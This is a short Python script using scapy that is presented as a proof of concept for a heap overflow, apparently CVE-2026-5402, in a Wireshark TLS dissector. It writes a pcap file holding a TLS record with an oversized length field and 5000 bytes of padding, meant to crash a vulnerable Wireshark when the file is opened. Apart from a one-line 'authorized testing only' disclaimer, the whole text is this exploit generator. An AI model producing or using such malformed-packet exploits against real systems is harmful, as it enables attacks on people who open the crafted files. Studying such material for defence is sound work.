The following code is for security research and authorized testing only.
python
from scapy.all import *
# Construct a malicious TLS packet to trigger the heap overflow
# This is a simulation based on the vulnerability description
def generate_malicious_tls():
# IP/UDP/TCP layer
ip = IP(dst="192.168.1.10")
tcp = TCP(sport=12345, dport=443, flags="PA")
# TLS Record Layer - Handshake type
# Malformed length field causing buffer overflow in dissector
tls_content = b"\x16" + b"\x03\x01" + struct.pack('!H', 0xFFFF) # Excessive length
# Padding to trigger the specific overflow condition
payload = tls_content + b"A" * 5000
pkt = ip / tcp / payload
wrpcap("cve_2026_5402_poc.pcap", pkt)
print("[+] Malicious pcap file generated: cve_2026_5402_poc.pcap")
print("[+] Open this file in vulnerable Wireshark version to test.")
if __name__ == "__main__":
generate_malicious_tls()